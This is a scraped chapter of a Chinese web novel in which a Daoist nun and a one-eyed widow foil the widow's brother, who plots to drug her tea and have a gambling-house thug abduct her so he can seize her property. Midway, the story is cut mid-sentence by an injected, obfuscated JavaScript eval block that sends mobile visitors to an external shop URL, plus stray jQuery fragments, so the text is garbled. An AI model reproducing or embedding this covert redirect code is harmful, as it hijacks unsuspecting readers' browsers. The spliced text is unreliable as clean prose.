文趣网 > 其他小说 > 大唐第一女冠 > 23.第二十三章 阴谋诡计
    此后几天,一切如常。

    吴伯请来的木工做好了老里长的灵牌,李飞义为老里长净身并换上寿衣。

    巽辰巽辰则以方外之士的身份,为老里长挑选了一块灵穴,并画符做法,清理了灵穴四周的晦。

    连着几天,庞氏年岁已高,早早就歇下了,李飞羽和李飞义则轮流守夜,每天晚上,秦氏都会端来几碗茶水,供守夜的人饮用解渴。

    老里长出殡前一天,轮到李飞羽守夜,巽辰陪她坐在灵堂内。

    空气中弥漫着老里长尸体缓缓腐烂的陈旧气味。

    及至子时,李飞义忽然出现在灵堂外。

    李飞羽惊觉他的到来,讶异道:“哥,你怎么没睡?”

    “睡不着。”李飞义走进灵堂坐下。

    灵堂内三个人相顾无言,不一会儿,秦氏也来了,手里端着个竹编的托盘,盘中放了三个茶碗。

    她走进灵堂,将托盘放到食案上,从中取出一个茶碗,双手递给李飞义。

    李飞义接过茶碗,瞥一眼清茶表面漂浮的茶梗,便将茶碗放到一旁。

    秦氏又端起一只茶碗,这一次,她将茶碗递给李飞羽。

    巽辰注意到,秦氏端茶碗的手仿佛没有力气,拿不稳似的,茶碗在她手中一个劲儿颤抖,以至于碗中的茶要溢不溢。

    李飞羽正要伸手去接,忽然身旁巽辰惊呼:“哎呀,虫子!”

    秦氏双手猛地一抖,碗中茶水撒了大半,全泼到李飞羽衣服上。

    “啊!”秦氏惊慌失措,脸色煞白。

    李飞义倏地跳起来,大骂:“你个蠢婆娘,怎么如此笨手笨脚!”

    “兄长,灵堂之上莫要喧哗。”李飞羽皱着眉头说道。

    她先拖住秦氏的胳膊,将秦氏手中茶碗取下,这才扭头看向巽辰,疑惑:“哪儿有虫子?”

    巽辰眉梢微动,朝李飞羽使了个眼色,意有所指瞥了眼李飞羽手里的茶碗:“我刚才看到茶汤里有虫,也有可能是我看错了,抱歉。”

    李飞羽视线垂落,茶碗中剩余半碗茶水清透见底,只有两片粗茶叶子随着茶汤起伏卷动,确实像两条青虫。

    秦氏抽回手,将最后一碗茶水端起,递给巽辰。

    “多谢。”巽辰坦然接过。

    秦氏捡起竹编托盘,像个仆人似的仓皇逃走,巽辰单手托着茶碗,看向她远去的背影若有所思。

    李飞羽擦拭衣服上的水渍,李飞义则起身,到院中来回踱步。

    “仙姑何意?”李飞羽小声询问。

    巽辰垂眸,回答她:“重水为坎,坎为险……这茶水不干净。”

    李飞羽瞳孔一缩,视线瞥向手边茶碗,不可置信:“怎会如此?嫂子为何这样做?”

    “必然是你那兄长迫她如此。”巽辰叹了口气。

    李飞羽抿唇,眉心拧成一个疙瘩。

    不一会儿,李飞义回到灵堂,对李飞羽道:“妹妹,你去换身衣服吧。”

    李飞羽看向他,嘴唇抿紧,后又松开,叹息一声:“好。”

    巽辰见状,跟着起身,准备陪李飞羽同去后院。

    这时,李飞义忽然开口:“仙姑,明日我父出殡,但流程上我还有些不明白,烦请仙姑解惑。”

    古怪的违和感又一次出现了。

    巽辰回头打量李飞义,这个男人试图让她和李飞羽暂时分开。

    既明了对方的目的,她自然不可能让他如意。

    于是,巽辰回答:“是人皆有三急,我得先去趟茅房。”

    李飞义愕然,如何也想不到,巽辰竟然会这样说,一时间张口结舌,再找不出借口挽留。

    巽辰离开堂屋后,一刻不停快步奔向后院。

    她心中产生了极强烈的预感,今夜必定有事发生。

    巽辰赶到院中时,李飞羽也正巧回到自己房间门口,巽辰远远瞧见她,提起的心稍稍放下。

    可是,不等她彻底松口气,李飞羽面前的房门忽然自行打开,随后一双手从门内伸出,揪住她的领子,将她拽入屋内。

    “飞羽姐姐!”巽辰惊呼失声。

    她下意识要冲向那间屋,却在此时,尾随跟来的李飞义猛地攥住她的手腕,欲拖拽她后退。

    巽辰踉跄两步,险些摔倒。

    她双脚迅速跺向地面,如扎了根似的站稳,随后旋腰扭身,被攥住那只手逆时针划圈,将手腕挣脱。

    对方只感觉她胳膊滑如泥鳅,嗖地一下便被抽走。

    巽辰反握住李飞义的手腕,同时后撤半步撇住他的脚腕,没等对方反应过来,便施展出一个干净利落的过肩摔。

    李飞义嘭的一声倒摔在地上,恍惚间只觉天旋地转。

    巽辰没功夫与他纠缠,当即要去搭救李飞羽。

    李飞羽消失的那间房房门紧扣,隐约传出重物落地的声响。

    然而,她刚跑出去两步,左脚脚踝又被李飞义抓住,这个男人仿佛一贴恶心的狗皮膏药,刚才的过肩摔竟没让他晕过去。

    巽辰立即抬起右脚,旋身一脚踩中他的手掌,将那五根手指头狠狠踏进泥地里。

    李飞义嘴里发出痛哼,但他竟然倔强地没有松手。

    他咬着牙,憋红了一张脸,嘶声说:“只要你当做没看见,明天我爹顺利下葬之后,我付给你三倍的酬金!”

    巽辰踩他手的那只脚力道稍松。

    李飞义五根手指都麻了,但巽辰的反应让他喜上眉梢。

    可下一瞬,他的太阳穴被巽辰的鞋尖暴力击中,他眼前一黑,哼都没哼一声就晕倒在地。

    巽辰冲到房间门口,一脚踹开房门。

    房间中的景象突兀地闯入视野,令巽辰倏地瞪大双眼。

    便见李飞羽双臂绞着一个男人的脖子,拽着他一下又一下往床沿撞。

    那男人脸色青紫,双眼翻白,眼看就要断气了。

    “飞羽姐姐!”巽辰踏进房间。

    李飞羽闻声停手,但仍不解气,揪起男人的头发又给他两耳光,直扇得他两边脸颊肿得老高,门牙空缺,不知崩到哪里去了。

    月光跟随巽辰涌进屋里,巽辰走得近了,这才看清男人长相,竟然是赌坊的虎哥。

    虎哥已被李飞羽揍得鼻青脸肿,彻底昏死过去。

    李飞羽胸口激烈起伏,嘴角淤青,一只袖子被撕破了,露出肌肉线条极为饱满的胳膊,可见她赢得这场混乱的战斗并不轻松。

    巽辰目光四下一扫,瞧见床位竟备了根麻绳。

    她立即伸手抓过麻绳,递给李飞羽。

    李飞羽二话不说,将虎哥结结实实绑起来。

    巽辰给李飞羽搭了把手,两人合力将身高接近两米的虎哥拖拽到院子里。

    这时,李飞羽看到昏倒在庭院角落的李飞义。

    巽辰将前情经过如实相告,李飞羽冷静地说道:“再找根麻绳。”

    ·

    夜深人静,秦氏独自待在房中,坐立难安。

    她越是紧张忐忑,房间中不断蔓延的静谧便越恐怖。

    只要想到李飞义对她说的那些话,她便心惊胆战,遍体生寒。

    她怕极了,怕被报复,更

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648100|204994||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怕报应,还怕李飞义刚死的爹化作厉鬼来找她要个说法。

    因此她关紧了门,用被褥将自己裹紧。

    可即便如此,庭院中不是传出的声音还是时刻揪着她的心。

    忽然,房门被人敲响。

    秦氏吓得一个哆嗦,浑身僵硬抱紧被褥,没有去开门。

    于是敲门声再次响起。

    笃笃笃,笃笃笃。

    门外的人更加用力地敲门,紧锣密鼓的节奏逼得秦氏喘不过气。

    终于,敲门声停下来。

    可没等她松口气,巨大的声响伴随破门的动静蛮横地闯入房间。

    门后锁门用的门闩断成两截,其中一截高高飞起,砸碎屋顶的瓦片,另一截飞向床铺,击中了床沿。

    秦氏吓得惊声尖叫。

    巽辰和李飞羽一前一后走进房间,秦氏避无可避。

    “嫂子。”李飞羽唤她,“咱们坐下来谈谈。”

    秦氏惊魂未定,与李飞羽对视一眼,两行泪水倏地从她眼角滚落。

    小半个时辰之后,李飞羽带着秦氏来到灵堂,指着老里长的灵牌说道:“嫂子,当着爹爹面,咱把话都说清楚。”

    来时路上,秦氏已经看到被麻绳绑成粽子的李飞义和那赌坊来的凶神恶煞的男人虎哥,于是明白他们的计划完全失败了。

    又是一蓬泪涌出她的眼眶,她抬起袖子,双手捂脸,哽咽道:“我没脸见你,也没脸见爹。”

    “事已至此,总要有个说法。”巽辰开口,“说说吧,到底是怎么回事?”

    秦氏捏着袖子擦脸,断断续续说明整件事的经过。

    李飞义不学无术,整日饮酒作乐,还去县城里面赌钱,欠了一屁股债。

    “爹他,意外得知你哥哥和赌坊的人厮混,勃然大怒。”秦氏双眼肿得像两只核桃,嗓音嘶哑,“你哥哥与他大吵一架,他当场就发了恶疾,他是被你哥哥气死的!”

    老里长死后,李飞义继承家产,可如果他要还钱,则需变卖家产,还了钱他就什么都没有了。

    于是,借着老里长病故,他想出来一个恶毒的点子。

    虎哥一早就看上了李飞羽,虽然李飞羽瞎了一只眼睛,但她的性格和所有女人都不一样,用村里人的话说,就是泼辣。

    他看上了李飞羽,但也不是真的想娶她为妻,而是想征服她,彰显自己身为一个健硕男人的威严。

    李飞义与虎哥私下合谋,在老里长出殡前,让虎哥和李飞羽生米煮成熟饭,虎哥趁夜将李飞羽带走,这样第二天老里长出殡,李飞羽就赶不回来哭丧。

    子女不为亡父奔丧,在大唐以孝治天下的律例中,属十重罪之一。

    李飞羽是个寡妇,膝下也无子女,只要李飞义将她没有出席老里长葬礼的事情报给官府,她一定会被官府收监,如此一来李飞羽名下的房屋田产便只能由李飞义代为掌管。

    秦氏心虚地打量李飞羽阴沉的脸色:“你哥哥让我在茶水中下药,只要将你药倒了,这件事便十拿九稳。”

    院子里这么大的动静居然没有吵醒老太太,是因为秦氏在老太太睡前给她端去一碗掺了些许蒙汗药的茶,主意自然是李飞义出的,蒙汗药则是虎哥帮忙搞来的。

    李飞羽牙关紧扣,牙缝中渗出铁锈般的甜腥气味,那只独眼深深凹陷,另一只眼睛则布满血丝。

    她眼神空洞地盯着屋顶,久久无法从秦氏这番话中回神。

    巽辰缓缓吐出心中郁结的块垒,咬牙冷哼:“说他是个畜生都侮辱了畜生,简直是个阴沟里爬出来的吸血虫!”